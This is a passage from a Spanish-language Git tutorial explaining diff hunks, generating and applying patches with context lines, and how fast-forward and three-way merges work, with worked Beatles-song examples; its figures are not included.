En nuestro ejemplo, este número es 6, contando la línea de contexto This is a file, la línea - es It has a nice poem:, luego las tres líneas de contexto, y por último Are belong to you.

Como puedes ver, las líneas que comienzan con un caracter de espacio son líneas de contexto, lo que significa que aparecen como se muestran en ambos file A y file B.

Luego, tenemos un signo + para marcar a los dos números que se refieren a file B. Primero, está el número de línea correspondiente a la primer línea en file B, seguido del número de líneas del que este chunk consiste en file B.

Este número incluye todas las líneas de contexto, así también como las líneas marcadas con el signo +, ya que son parte de file B, pero no las líneas marcadas con un signo -.

Estos cuatros números son seguidos por dos signos @ adicionales.

Después del encabezado del chunk, obtenemos las líneas actuales - sean las líneas de contexto, - o +.

Típicamente y por defecto, un hunk comienza y termina con tres líneas de contexto. Por ejemplo, si modificas las líneas 4-5 en un archivo con diez líneas:

• Línea 1 - línea de contexto (antes de las líneas cambiadas)
• Línea 2 - línea de contexto (antes de las líneas cambiadas)
• Línea 3 - línea de contexto (antes de las líneas cambiadas)
• Línea 4 - línea cambiada (antes de las líneas cambiadas)
• Línea 5 - otra línea cambiada
• Línea 6 - línea de contexto (después de las líneas cambiadas)
• Línea 7 - línea de contexto (después de las líneas cambiadas)
• Línea 8 - línea de contexto (después de las líneas cambiadas)
• Línea 9 - esta línea no será parte del hunk

Así que por defecto, cambiar las líneas 4-5 resulta en un hunk consistiendo de las líneas 1-8, eso es, tres líneas antes y tres líneas después de las líneas modificadas.

Si ese archivo no tiene nueve líneas, sino seis líneas - entonces el hunk contendrá solamente una línea de contexto después de las líneas cambiadas, y no tres. De forma similar, si cambias la segunda línea de un archivo, entonces habría solamente una línea de contexto antes de las líneas cambiadas.

Cómo producir diffs

El último ejemplo que consideramos muestra un diff entre dos archivos. Un solo archivo parche puede contener las diferencias para cualquier número de archivos, y git diff produce diffs para todos los archivos alterados en el repositorio en un solo parche.

Frecuentemente, verás la salida de git diff mostrando dos versiones del mismo archivo y la diferencia entre ellos.

Para demostrar, considera el estado en otra rama llamada diffs:

git checkout diffs

De nuevo, te animo a ejecutar los comandos conmigo - asegúrate de clonar el repositorio de

https://github.com/Omerr/gitting_things_repo.git

En el estado actual, el directorio activo es un repositorio de Git, con una estado limpio:

Toma un archivo existente, my_file.py:

Y cambia la segunda línea de print('An example function!') a print('An example function! And it has been changed!'):

Guarda tus cambios, pero no lo pongas en el área de preparación o no lo confirmes. Luego, ejecuta git diff:

La salida de git diff muestra la diferencia entre las versiones de my_file.py en el área de preparación, el cual en este caso es el mismo que la última confirmación (HEAD), y la versión en el directorio de trabajo.

Cubrí los términos "directorio de trabajo", "área de preparación", y "confirmación" en el capítulo de objetos de Git, así que échale un vistazo en caso que te gustaría refrescar tu memoria. Como un recordatorio, los términos "área de preparación" e "índice" son intercambiables, y ambos son ampliamente usados.

Para ver la diferencia entre el directorio de trabajo y el área de preparación, usa git diff, sin ningún argumento adicional.

Como puedes ver, git diff aquí lista file A y file B apuntando a my_file.py. file A aquí se refiere a la versión de my_file.py en el área de preparación, donde file B se refiere a su versión en el directorio de trabajo.

Fíjate que si modificas my_file.py en un editor de texto, y no guardas el archivo, entonces git diff no estará al tanto de los cambios que has hecho. Esto se debe a que no han sido guardados en el directorio de trabajo.

Podemos proveer unos pocos cambios a git diff para obtener el diff entre el directorio de trabajo y una confirmación específica, o entre el área de preparación y la última confirmación, o entre dos confirmaciones, y así sucesivamente.

Primero crea un nuevo archivo, new_file.txt, y guárdalo:

Actualmente el archivo está en el directorio de trabajo, y actualmente está sin seguimiento en Git.

Ahora pónlo en el área de preparación y confirma este archivo:

git add new_file.txt
git commit -m "Commit 3"

Ahora, el estado de HEAD es el mismo que el estado del área de preparación, así también como el árbol de trabajo:

Luego, edita new_file.txt agregando una nueva línea al principio y otra nueva línea al final:

Como resultado, el estado es como sigue:

Un lindo truco sería usar git add -p, el cual te permite dividir los cambios inclusive dentro de un archivo, y considerar cuáles te gustaría ponerlos en el área de preparación.

En este caso, agrega la primera línea al índice, pero no la última línea. Para hacer eso, puedes dividir el hunk usando s, luego acepta el primer hunk al área de preparación (usando y), y no la segunda parte (usando n).

Si no estás seguro qué significa cada letra, siempre puedes usar un ? y Git te dirá.

Así que ahora el estado en HEAD están sin ninguna de esas nuevas líneas. En el área de preparación tienes la primer línea pero no la última línea, y en el directorio de trabajo tienes las dos nuevas líneas.

Si usas git diff, ¿qué sucederá?

Bueno, como se dijo antes, obtienes el diff entre el área de preparación y el árbol de trabajo.

¿Qué sucede si quiere obtener el diff entre el HEAD y el área de preparación? Para eso, puedes usar git diff --cached:

¿Y qué pasa si quieres la diferencia entre el HEAD y el árbol de trabajo? Para eso puedes ejecutar git diff HEAD:

Para resumir los diferentes cambios para git diff que hemos visto hasta ahora, aquí hay un diagrama:

Como un recordatorio, al principio de este capítulo usaste git diff --no-index. Con el conmutador --no-index, puedes comparar dos archivos que no son parte del repositorio - o de cualquier área de preparación.

Ahora, confirma los cambios que tienes en el área de preparación:

git commit -m "Commit 4"

Para observar el diff entre esta confirmación y su confirmación padre, puedes ejecutar el siguiente comando:

git diff HEAD~1 HEAD

Por cierto, puedes omitir el 1 de arriba y escribir HEAD~, y obtener el mismo resultado. Usando 1 es la forma explícita para expresar que te refieres al primer padre de la confirmación.

Fíjate que escribir la confirmación padre aquí, HEAD~1, primero resulta en un diff mostrando cómo obtener de la confirmación padre a la confirmación actual. Por supuesto, podría también generar el diff en reversa al escribir:

git diff HEAD HEAD~1

Para resumir todos los diferentes cambios para git diff que cubrimos en esta sección, mira este diagrama:

Una forma corta de ver el diff entre una confirmación y su padre es usando git show, por ejemplo:

git show HEAD

Esto es lo mismo que escribir:

git diff HEAD~ HEAD

Ahora podemos actualizar nuestro diagrama:

Puedes volver a este diagrama como una referencia cuando sea necesario.

Como un recordatorio, las confirmaciones de Git son copias instantáneas - del directorio de trabajo completo del repositorio, en un cierto punto en el tiempo. A pesar de todo, a veces no es útil considerar a una confirmación como una copia instantánea completa, sino más bien por los cambios que esta confirmación específica introdujo. En otras palabras, por el diff entre una confirmación padre a la confirmación siguiente.

Como aprendiste en el capítulo de Objetos de Git, Git almacena las copias instantáneas enteros. El diff es generado dinámicamente de los datos de la copia instantánea - al comparar los árboles principales de la confirmación y su padre.

Por supuesto, Git puede comparar cualquiera de las dos copias instantáneas en el tiempo, no sólo confirmaciones adyacentes, y también generar un diff de archivos que no son incluidos en un repositorio.

Cómo aplicar Parches

Al usar git diff puedes ver un parche que Git genera, y luego puedes aplicar este patch usando git apply.

Nota Histórica

En realidad, compartir parches solía ser la principal forma de compartir código al comienzo del código abierto. Pero ahora - virtualmente todos los proyectos se han movido a compartir confirmaciones de Git directamente a través de pull requests (llamados "merge requests - peticiones de fusión" en algunas plataformas).

El mayor problema con usar parches es que es difícil de aplicar un parche cuando tu directorio de trabajo no coincide con la confirmación previa del emisor. Perder el historial de la confirmación lo vuelve difícil para resolver conflictos. Entenderás mejor esto a medida que indagues más profundamente en el proceso de git apply, especialmente en el próximo capítulo donde cubrimos las fusiones.

Un Simple Parche

¿Qué significa aplicar un parche? ¡Es tiempo de intentarlo!

Toma la salida de git diff:

git diff HEAD~1 HEAD

Y almacénalo en un archivo:

git diff HEAD~1 HEAD > my_patch.patch

Usa reset para deshacer la última confirmación:

git reset --hard HEAD~1

No te preocupes del último comando - te lo explicaré en detalle en la Parte 3, donde discutimos deshacer cambios. En breve, nos permite "resetear" el estado a donde HEAD está apuntando, así también como el estado del índice y del directorio de trabajo. En el ejemplo de arriba, todos están puestos al estado de HEAD~1, o "Confirmación 3" en el diagrama.

Así que después de ejecutar el comando reset, los contenidos del archivo son como sigue (el estado de "Confirmación 3"):

nano new_file.txt

Y aplicarás este parche que recién has guardado:

nano my_patch.patch

Este parche le dice a Git que encuentre las líneas:

This is a new file
With new content!

Esas líneas solían ser el número de línea 1 y número de línea 2 en new_file.txt, y agrega una línea con el contenido START! justo arriba de ellos.

Ejecuta este comando para aplicar el parche:

git apply my_patch.patch

Y como resultado, obtienes esta versión de tu archivo, justo como la confirmación que has creado antes:

nano new_file.txt

Entendiendo la Líneas de Contexto

Para entender la importancia de las líneas de contexto, considera un escenario más avanzado. ¿Qué sucede si los números de líneas han cambiado desde que creaste el archivo parche?

Para probar, comienza por crear otro archivo:

nano test.text

Pónlo en el área de preparación y confirma este archivo:

git add test.txt

git commit -m "Test file"

Ahora, cambia este archivo al agregar una nueva línea, y también eliminando la línea antes de la última:

Observa la diferencia entre la versión original del archivo y la versión incluyendo tus cambios:

git diff -- test.txt

(Usando --test.txt le dice a Git que ejecute el comando diff, tomando en consideración solamente a test.txt, así no obtienes el diff para otros archivos.)

Almacena este diff en un archivo parche:

git diff -- test.txt > new_patch.patch

Ahora, resetea tu estado a ese antes de introducir los cambios:

git reset --hard

Si llegaras a aplicar new_patch.patch ahora, simplemente funciona.

Ahora consideremos un caso más interesante. Modifica a test.txt nuevamente al agregar una nueva línea al principio:

Como resultado, los números de líneas son diferentes de la versión original donde el parche ha sido creado. Considera el parche que creaste antes:

Asume que la línea With more text es la segunda línea en test.txt, el cual no es más el caso. Así que... ¿funcionará git apply?

git apply new_patch.patch

¡Funcionó!

Por defecto, Git busca las 3 líneas de contexto antes y después de cada cambio introducido en el parche - como puedes ver, son incluidos en el archivo parche. Si tomas tres líneas antes y después de la línea agregada, y tres líneas antes y después de la línea eliminada (en realidad solamente una línea después, ya que no existen otras líneas) - llegas al archivo parche. Si todas estas líneas existen - entonces aplicar el parche funciona, inclusive si los números de línea cambiaron.

Resetea el estado de nuevo:

git reset --hard

¿Qué sucede si cambias una de las líneas de contexto? Intenta cambiando la línea With more text a With more text!:

Y ahora:

git apply new_patch.patch

Bueno, no. El parche no se aplica. Si no estás seguro por qué, o solo quieres entender mejor el proceso que Git está realizando, puedes agregar el argumento --verbose a git apply, así:

git apply --verbose new_patch.patch

Parece que Git buscó líneas del archivo, incluyendo la línea "With more text", justo antes de la línea "It has some really nice lines". Esta secuencia de líneas ya no existen en el archivo. Ya que Git no puede encontrar esta secuencia, no puede aplicar el parche.

Como se mencionó antes, por defecto, Git busca 3 líneas de contexto antes y después de cada cambio introducido en el parche. Si las tres líneas circundantes no existen, Git no puede aplicar el parche.

Le puedes pedir a Git que se base en menos líneas de contexto, usando el argumento -C. Por ejemplo, para pedir a Git que busque 1 línea de contexto circundante, ejecuta el siguiente comando:

git apply -C1 new_patch.patch

¡El parche se aplica!

¿Por qué es eso? Considera el parche nuevamente:

Cuando se aplica el parche con la opción -C1, Git está buscando las líneas:

Like this one
And that one

para agregar la línea !!!This is the new line!!! entre estas dos líneas. Estas líneas existen (e, importantemente, aparecen justo después de la otra). Como resultado, Git puede agregar la línea entre ellos con éxito, aunque los números de línea cambiaron.

De manera similar, Git buscaría las líneas:

How wonderful
So we are writing an example
Git is awesoome!

Ya que Git puede encontrar estas líneas, Git puede eliminar el del medio.

Si cambiamos una de estas líneas, digamos, cambiamos "How wonderful" a "How very wondeful", entonces Git no sería capaz de encontrar la cadena de arriba, y así el parche no se aplicaría.

Recapitulando - Git Diff y Patch

En este capítulo, aprendiste qué es un diff, y la diferencia entre un diff y un parche. Aprendiste cómo generar varios parches usando diferentes conmutadores para git diff. También aprendiste cómo luce la salida de git diff, y cómo se construye. Por último, aprendiste cómo se aplican los patches, y específicamente la importancia del contexto.

Entender los diff es un hito importante para entender muchos otros procesos dentro de Git - por ejemplo, fusionando o rebasing, los cuales exploraremos en los próximos capítulos.

Capítulo 7 - Entendiendo la Fusión de Git

Al leer este capítulo, vas a entender realmente git merge, una de las operaciones más comunes que ejecutarás en tus repositorios de Git.

¿Qué es un Merge (Fusión) en Git?

Fusionar es el proceso de combinar los cambios recientes de varias ramas en una sola nueva confirmación. Esta confirmación apunta a estas ramas.

De una forma, fusionar es el complemento de ramificación en control de versiones: una rama te permite trabajar de manera simultánea con otros en un conjunto particular de archivos, donde una fusión te permite luego combinar trabajos separados en ramas que difieren de una confirmación padre en común.

Muy bien, vamos poco a poco.

Recuerda que en Git, una rama es sólo un nombre que apunta a una confirmación única. Cuando pensamos sobre las confirmaciones como si estuvieran sólo "en" una rama específica, en realidad son accesibles a través de la cadena principal desde la confirmación a la que la rama está apuntando.

Eso es, si consideras este gráfico de confirmación:

Ves la rama feature_1, el cual apunta a una confirmación con el valor de SHA-1 de ba0d2. Como en los capítulos previos, solamente escribo los primeros 5 dígitos del valor de SHA-1 para brevedad.

Fíjate que la confirmación 54a9d está también "en" esta rama, ya que es la confirmación antecesora de bad0d2. Si comienzas desde el puntero de feature_1, llegas a ba0d2, el cual luego apunta a 54a9d. Puedes continuar en la cadena de padres, y todas estas confirmaciones accesibles son considerados estar "en" el feature_1.

Cuando fusionas con Git, fusionas confirmaciones. Casi siempre, fusionamos dos confirmaciones al referirnos a ellos con los nombres de rama a los que apuntan. De esa forma decimos que "fusionamos ramas" - aunque por debajo, en realidad fusionamos confirmaciones.

Tiempo de manos a la obra

Para este capítulo, usaré el siguiente repositorio:

https://github.com/Omerr/gitting_things_merge.git

Como en capítulos previos, te animo a clonarlo localmente y tener el mismo punto de comienzo que estoy usando para este capítulo.

Muy bien, digamos que tenemos este simple repositorio aquí, con una rama llamada main, y unas pocas confirmaciones con los mensajes de confirmación de "Commit 1", "Commit 2", y "Commit 3":

Luego, crea una rama feature al escribir git branch new_feature:

Y cambia a HEAD para que apunte a esta nueva rama, usando git checkout new_feature (o git switch new_feature). Puedes ver la salida usando git log:

Como recordatorio, podrías también escribir git checkout -b new_feature, el cual crearía una nueva rama y cambiar el HEAD a que apunte a esta nueva rama.

Si necesitas un recordatorio sobre las ramas y cómo son implementados por debajo, por favor mira el capítulo 2. Sí, míralo. 😇

Ahora, en la rama new_feature, implementa una nueva característica. En este ejemplo, editaré un archivo que ya existe que luce así antes de editarlo:

Y ahora lo editaré para que incluya una nueva función:

Y afortunadamente, este no es un libro de programación, así que esta función es correcta 😇

Luego, colócalo en el área de preparación y confirma esta confirmación:

git add code.py

git commit -m "Commit 4"

Viendo al historial, tienes el branch new_feature, ahora apuntando a "Commit 4", el cual apunta a su antecesor, "Commit 3". La rama principal también está apuntando a "Commit 3".

¡Es tiempo de fusionar la nueva característica! Eso es, fusionar estas dos ramas, main y new_feature. O, en la jerga de Git, fusionar new_feature dentro de main. Esto significa fusionar "Commit 4" y "Commit 3". Esto es muy trivial, ya que después de todo, "Commit 3" es un ancestro de "Commit 4".

Verifica la rama principal (con git checkout main), y ejecuta la fusión usando git merge new_feature:

Ya que new_feature en realidad nunca difirió de main, Git podría realizar una fusión directa. Así que, ¿qué pasó aquí? Considera el historial:

Aunque usaste git merge, no hubo una fusión en sí aquí. En realidad, Git hizo algo muy sencillo - resetea la rama principal para que apunte a la misma confirmación como la rama new_feature.

En caso que no quieres que eso suceda, sino que quieres que Git realmente realice una fusión, podrías cambiar la configuración de Git, o ejecutar el comando de fusión con el argumento --no-ff.

Primero, deshace la última confirmación:

git reset --hard HEAD~1

Recordatorio: si esta forma de usar reset no te queda claro, no te preocupes - los cubriremos en detalle en la Parte 3. No es crucial para esta introducción de merge. Por ahora, es importante entender que básicamente deshace la operación de fusión.

Sólo para clarificar, ahora si verificas a new_feature nuevamente:

git checkout new_feature

El historial luciría igual como antes de la fusión:

Luego, realiza la fusión con el argumento --no-fast-forward (en corto --no-ff):

git checkout main
git merge new_feature --no-ff

Ahora, si miramos el historial usando git lol:

(Recordatorio: git lol es un alias que agregué a Git para ver visiblemente el historial de una manera gráfica. Lo puedes encontrar, junto con los otros componentes de mi configuración, en la parte de Mi Configuración del capítulo de Introducción.)

Considera este historial, puedes ver que Git creó una nueva confirmación, una confirmación de fusión.

Si consideras esta confirmación un poco más de cerca:

git log -n1

Verás que esta confirmación en realidad tiene dos padres - "Commit 4", el cual fue la confirmación a la que new_feature apuntó cuando ejecutaste git merge, y "Commit 3", el cual fue la confirmación a la que main apuntó.

Una confirmación de fusión tiene dos padres: las dos confirmaciones que fusionó.

La confirmación de fusión nos muestra el concepto de fusión bastante bien. Git toma dos confirmaciones, usualmente referenciados por dos ramas diferentes, y los fusiona juntos.

Después de la fusión, comenzaste el proceso desde main, estás todavía en main, y el historial de new_feature ha sido fusionado dentro de esta rama. Ya que comenzaste con main, luego "Commit 3", a la que apuntó main, es el primer antecesor de la confirmación de fusión, mientras que "Commit 4", la cual la fusionaste dentro de main, es el segundo antecesor de la confirmación de fusión.

Fíjate que empezaste en main cuando éste apuntaba a "Commit 3", y Git te ayudó bastante. Cambió el árbol de trabajo, el índice, y también el HEAD y creó un nuevo objeto de confirmación. Al menos cuando usas git merge sin el argumento --no-commit y cuando no es una fusión directa, Git hace todo eso.

Esto fue un caso super sencillo, donde las ramas que fusionaste no difirieron para nada. Pronto consideraremos casos más interesantes.

A propósito, puedes usar git merge para fusionar más de dos confirmaciones - en realidad, cualquier número de confirmaciones. Esto se hace raras veces, y para adherirnos al principio de practicidad de este libro, no lo profundizaremos.

Otra forma de ver a git merge es uniendo dos o más historiales de desarrollo juntos. Eso es, cuando fusionas, incorporas cambios desde las confirmaciones nombradas, desde el momento en que sus historiales difirieron de la rama actual, en la rama actual. Usé el término "rama" aquí, pero estoy enfatizando esto nuevamente - en realidad estamos fusionando confirmaciones.

Es tiempo de un Caso más Avanzado

Es tiempo de considerar un caso más avanzado, lo cual es probablemente el caso más común donde usamos git merge explícitamente - donde necesitas fusionar ramas que sí difieren uno del otro.

Supón que tenemos dos personas trabajando en este repo ahora, John y Paul.

John creó una rama:

git checkout -b john_branch

Y John ha escrito una nueva canción en un nuevo archivo, lucy_in_the_sky_with_diamonds.md. Bueno, creo que John Lennon realmente no escribió en formato Markdown, o no usó Git para ese asunto, pero pretendamos que lo hizo para esta explicación.

git add lucy_in_the_sky_with_diamonds.md
git commit -m "Commit 5"

Mientras John estaba trabajando en esta canción, Paul también estaba escribiendo, en otra rama. Paul había comenzado desde main:

git checkout main

Y creó su propia rama:

git checkout -b paul_branch

Y Paul escribió su canción en un archivo llamado penny_lane.md. Paul puso en el área de preparación y confirmó este archivo:

git add penny_lane.md
git commit -m "Commit 6"

Así que ahora nuestro historial luce así - donde tenemos dos ramas distintas, que se ramifican desde main, con historiales distintos:

John está feliz con su rama (eso es, su canción), así que él decide fusionarlo en la rama main:

git checkout main
git merge john_branch

En realidad, este es una fusión directa, como hemos aprendido antes. Puedes validar eso al ver el historial (usando git lol, por ejemplo):

A este punto, Paul también quiere fusionar su rama dentro de main, pero ahora una fusión directa ya no es relevante - hay dos diferentes historiales aquí: el historial de main y el de paul_branch. No es que paul_branch solamente agrega confirmaciones encima de la rama main o vice versa.

Ahora las cosas se ponen interesante. 😎😎

Primero, dejemos a Git que haga el trabajo duro por ti. Después de eso, entenderemos lo que en realidad está sucediendo por debajo.

git merge paul_branch

Considera este historial ahora:

Lo que tienes es una nueva confirmación, con dos antecesores - "Commit 5" y "Commit 6".

En el directorio de trabajo, puedes ver que la canción de John así también como la canción de Paul están ahí (si usas ls, verás ambos archivos en el directorio de trabajo).

Bien, Git realmente fusionó los cambios por ti. ¿Pero cómo hace que eso suceda?

Deshace la última confirmación:

git reset --hard HEAD~

Cómo realizar una Fusión de Tres Vías en Git

Es tiempo de entender lo que realmente está pasando por debajo. 😎

Lo que Git ha hecho aquí se le llama una fusión de 3 vías. Al delinear el proceso de una fusión de 3 vías, usaré el término "rama" para simplicidad, pero deberías recordar que podrías también fusionar dos (o más) confirmaciones que no son referenciados por una rama.

El proceso de fusión de 3 vías incluye estas etapas:

Primero, Git localiza el ancestro común de las dos ramas. Eso es, la confirmación común desde el cual las ramas de fusión difirieron más recientemente. Técnicamente, esto en realidad es la primer confirmación que es accesible desde ambas ramas. A esta confirmación entonces se le llama la base de fusión.

Segundo, Git calcula dos diffs - un diff de la base de fusión a la primer rama, y otro diff desde la base de fusión a la segunda rama. Git genera parches basados en esos diffs.

Tercero, Git aplica ambos parches a la base de fusión usando un algoritmo de fusión de 3 vías. El resultado es el estado de la nueva confirmación de fusión.

Así que, devuelta a nuestro ejemplo.

En el primer paso, Git mira desde ambas ramas - main y paul_branch - y atraviesa el historial para encontrar la primera confirmación que es accesible desde ambos. En este caso, este sería.. ¿cuál confirmación?

Correcto, la confirmación de fusión (el que tiene a "Commit 3" y "Commit 4" como sus predecesores).

Si no estás seguro, siempre puedes preguntarle a Git directamente:

git merge-base main paul_branch

A propósito, este es el caso más común y sencillo, donde tenemos una única elección obvia para la base de fusión. En casos más complicados, podría haber múltiples posibilidades para una base de fusión, pero esto no está dentro de nuestro enfoque.

En el segundo paso, Git calcula las diferencias. Así que primero calcula la diferencia entre la confirmación de fusión y "Commit 5":

git diff 4f90a62 4683aef

(Los valores de SHA-1 serán distintas en tu máquina.)

Si no te sientes cómodo con la salida de git diff, puedes leer el capítulo anterior donde lo describí en detalle.

Puedes almacenar esa diferencia en un archivo:

git diff 4f90a62 4683aef > john_branch_diff.patch

Luego, Git calcula la diferencia entre la confirmación de fusión y "Commit 6":

git diff 4f90a62 c5e4951

Escribe esto en un archivo también:

git diff 4f90a62 c5e4951 > paul_branch_diff.patch

Ahora Git aplica esos parches en la base de fusión.

Primero, intenta eso directamente - aplica los parches (te lo explicaré en un momento). Esto no es lo que realmente hace Git por defecto, pero te ayudará a ganar un mejor entendimiento de por qué Git necesita hacer algo distinto.

Verifica la base de fusión primero, eso es, la confirmación de fusión:

git checkout 4f90a62

Y aplica el parche de John primero (como recordatorio, este es el parche que se muestra en la imagen con el subtítulo "The diff between the merge commit and "Commit 5""):

git apply --index john_branch_diff.patch

Fíjate que por ahora no hay una confirmación de fusión. git apply actualiza el directorio de trabajo así también como el índice, ya que usamos el conmutador --index.

Puedes observar el estado usando git status:

Así que ahora la nueva canción de John se incorpora en el índice. Aplica el otro parche:

git apply --index paul_branch_diff.patch

Como resultado, el índice contiene los cambios desde ambas ramas.

Ahora es tiempo de confirmar tu fusión. Ya que el comando de porcelana git commit siempre genera una confirmación con un solo predecesor, necesitarías el comando de plomería subyacente - git commit-tree.

Si necesitas un recordatorio sobre los comandos de porcelana vs de plomería, mira el capítulo 4 donde expliqué estos términos, y creé un repo entero desde cero.

Recuerda que cada objeto de confirmación de Git apunta a un sólo árbol. Así que necesitas registrar los contenidos del índice en un árbol:

git write-tree

Ahora obtienes el valor de SHA-1 del árbol creado, y puedes crear un objeto de confirmación usando git commit-tree:

git commit-tree <TREE_SHA> -p <COMMIT_5> -p <COMMIT_6> -m "Merge commit!"

Genial, ¡así que has creado un objeto de confirmación!

Recuerda que git merge también cambia el HEAD para que apunte al nuevo objeto de confirmación de fusión. Así que puedes simplemente hacer lo mismo:

git reset --hard db315a

Si miras al historial ahora:

(Nota: en este estado, HEAD está "separado" - eso es, directamente apunta a un objeto de confirmación en vez de una referencia nombrada. gg no muestra el HEAD cuando está "separado", así que no te confundas si no puedes ver el HEAD en la salida de gg.)

Esto es casi lo que queríamos. Recuerda que cuando ejecutaste git merge, el resultado fue HEAD apuntando a main el cual apuntó a la nueva confirmación creada (como se muestra en la imagen con el subtítulo "When you merge paul_branch), obtienes una nueva confirmación de fusión". ¿Qué deberías hacer entonces?

Bueno, lo que quieres es modificar a main, así que lo puedes apuntar a la nueva confirmación:

git checkout main
git reset --hard db315a

Y ahora tienes el mismo resultado cuando ejecutaste git merge: main apunta a la nueva confirmación, el cual tiene "Commit 5" y Commit 6" como sus predecesores. Puedes usar git lol para verificar eso.

Así que esto es exactamente el mismo resultado como la fusión hecha por Git, con la excepción de la marca de tiempo y así el valor de SHA-1, por supuesto.

Sobretodo, tienes que fusionar los contenidos de las dos confirmaciones - eso es, el estado de los archivos, y también el historial de esas confirmaciones - creando una confirmación de fusión que apunta a ambos historiales.

En este caso sencillo, podrías en realidad aplicar los parches usando git apply y todo funciona bastante bien.

Rápida recapitulación de una Fusión de tres vías

Así que para recapitular rápidamente, en una fusión de tres vías, Git:

• Primero, localiza la base de fusión - el ancestro común de las dos ramas. Eso es, la primer confirmación que es accesible de ambas ramas.
• Segundo, Git calcula los dos diffs - un diff de la base de fusión a la primera rama, y otro diff de la base de fusión a la segunda rama.
• Tercero, Git aplica ambos parches a la base de fusión, usando un algoritmo de fusión de tres vías. No he explicado la fusión de tres vías todavía, pero lo explicaré más tarde. El resultado es el estado de la nueva confirmación de fusión.

También puedes entender por qué se llama una "fusión de 3 vías": Git fusiona, tres estados diferentes - el de la primera rama, el de la segunda rama, y su ancestro en común. En nuestro ejemplo anterior, main, paul_branch, y la confirmación de fusión (con "Commit 3" y "Commit 4" como predecesores), respectivamente.

Esto es improbable, digamos, los ejemplos directos que vimos antes. Los ejemplos directos son en realidad un caso de una fusión de dos vías, ya que Git solamente compara dos estados - por ejemplo, a donde main apuntó, y a donde john_branch apuntó.

Continuando

Todavía, esto fue un sencillo caso de una fusión de 3 vías. John y Paul crearon canciones distintos, así que cada uno de ellos tocaron un archivo distinto. Fue bastante directo para ejecutar la fusión.

¿Qué hay sobre casos más interesantes?

Digamos que ahora John y Paul son co-autores de una nueva canción.

Así que, John verificó la rama main y comenzó a escribir la canción:

git checkout main

Él lo puso en el área de preparación y lo confirmó ("Commit 7"):

git add a_day_in_the_life.md
git commit -m "Commit 7"

Ahora, Paul hace una rama:

git checkout -b paul_branch_2

Y edita la canción, agregando otro verso:

Por supuesto, la canción original no incluye el título "Paul's Verse", pero lo agregué para claridad.

Paul pone en el área de preparación y confirma los cambios:

git add a_day_in_the_life.md
git commit -m "Commit 8"

John también hace una rama tomando de main y agrega unas dos líneas adicionales al final:

git checkout main
git checkout -b john_branch_2

John pone en el área de preparación y confirma sus cambios también ("Commit 9"):

git add a_day_in_the_life.md
git commit -m "Commit 9"

Este es el historial resultante:

Así que, Paul y John modificó el mismo archivo en diferentes ramas. ¿Tendrá éxito Git al fusionarlos?

Digamos que ahora no vamos por main, sino que John intentará fusionar la nueva rama de Paul en su rama:

git merge paul_branch_2

¡Espera! ¡No ejecutes este comando! ¿Por qué le dejarías a Git hacer todo el trabajo duro? Estás intentando de entender el proceso aquí.

Así que, primero, Git necesita encontrar la base de fusión. ¿Puedes ver cual confirmación sería?

Correcto, sería la última confirmación en la rama main, donde los dos difieren - eso es, "Commit 7".

Puedes verificar eso usando:

git merge-base john_branch_2 paul_branch_2

Cambia a la base de fusión así más tarde puedes aplicar los parches que crearás:

git checkout main

Genial, ahora Git debería calcular los diffs y generar los parches. Puedes observar los diffs directamente:

git diff main paul_branch_2

¿Tendrá éxito en aplicar este parche? Bueno, sin problema, Git tiene todas las líneas de contexto en lugar.

Cambia a la base de fusión (el cual es "Commit 7", también referenciado por main), y pide a Git que aplique este parche:

git checkout main
git diff main paul_branch_2 > paul_branch_2.patch
git apply --index paul_branch_2.patch

Y esto funcionó, sin problemas para nada.

Ahora, calcula la diff entre la nueva rama de John y la base de fusión. Fíjate que no has confirmado los cambios aplicados, así que john_branch_2 todavía apunta a la misma confirmación como antes, "Commit 9":

git diff main john_branch_2

¿Funcionará si se aplica este diff?

Bueno, de hecho, sí. Fíjate que aunque los números de líneas han cambiado en la versión actual del archivo, gracias a las líneas de contexto que Git es capaz de localizar donde necesita agregar estas líneas...

Guarda este parche y luego aplícalo:

git diff main john_branch_2 > john_branch_2.patch
git apply --index john_branch_2.patch

Observa el archivo resultante:

Genial, exactamente lo que queríamos.

Ahora puedes crear el árbol y la confirmación relevante:

git write-tree

No te olvides de especificar ambos predesores:

git commit-tree <TREE-ID> -p paul_branch_2 -p john_branch_2 -m "Merging new changes"

¿Viste cómo usé los nombres de rama aquí? Después de todo, sólo son punteros a las confirmaciones que queremos.

Genial, mira el log de la nueva confirmación:

Exactamente lo que queríamos.

También puedes dejar a Git que haga el trabajo para ti. Puedes cambiar a john_branch_2, el cual no has movido - así que todavía apunta a la misma confirmación como lo hizo antes de la fusión. Así que todo lo que necesitas es ejecutar:

git checkout john_branch_2
git merge paul_branch_2

Observa el historial resultante:

Como antes, tienes una confirmación de fusión apuntando a "Commit 8" y "Commit 9" como sus predecesores. "Commit 9" es el primer predecesor ya que lo fusionaste.

Pero esto fue bastante sencillo... John y Paul trabajaron en el mismo archivo, pero en partes muy distintas. También podrías directamente aplicar los cambios de Paul a la rama de John. Si vuelves a la rama de John antes de la fusión:

git reset --hard HEAD~

Y ahora aplica los cambios de Paul:

git apply --index paul_branch_2.patch

Obtendrías el mismo resultado.

Pero, ¿qué sucede cuando las dos ramas incluyen cambios en los mismos archivos, en las mismas ubicaciones?

Casos de Fusión de Git más avanzados

¿Qué sucedería si John y Paul fueran a coordinar una nueva canción, y lo realizan juntos?

En este caso, John crea la primer versión de esta canción en la rama main:

git checkout main
nano everyone.md

A propósito, este texto es de hecho tomado de la versión que John Lennon grabó para una demo en 1968. Pero esto no es un libro sobre los Beatles. Si estás interesado sobre el proceso por el que los Beatles atravesaron mientras escribían esta canción, puedes seguir los enlaces al final de este capítulo.

git add everyone.md
git commit -m "Commit 10"

Ahora John y Paul se separon. Paul crea un nuevo verso al principio:

git checkout -b paul_branch_3
nano everyone.md

También, mientras hablando con John, decidieron cambiar la palabra "feet" a "foot", así que Paul agrega este cambio también.

Y Paul agrega y confirma sus cambios al repo:

git add everyone.md
git commit -m "Commit 11"

Puedes observar los cambios de Paul, comparando este estado de la rama al estado de la rama main:

git diff main

Almacena este diff en un archivo parche:

git diff main > paul_3.patch

Ahora devuelta a main...

git checkout main

John decide hacer otro cambio, en su propia nueva rama:

git checkout -b john_branch_3

Y reemplaza la línea "Everyone had the boot in" con la línea "Everyone had a wet dream". Además, John cambió la plabra "feet" a "foot", siguiendo su charla con Paul.

Observa el diff:

git diff main

Almacena esta salida también:

git diff main > john_3.patch

Ahora, pónlo en el área de preparación y confirma:

git add everyone.md
git commit -m "Commit 12"

Este debería ser tu historial actual:

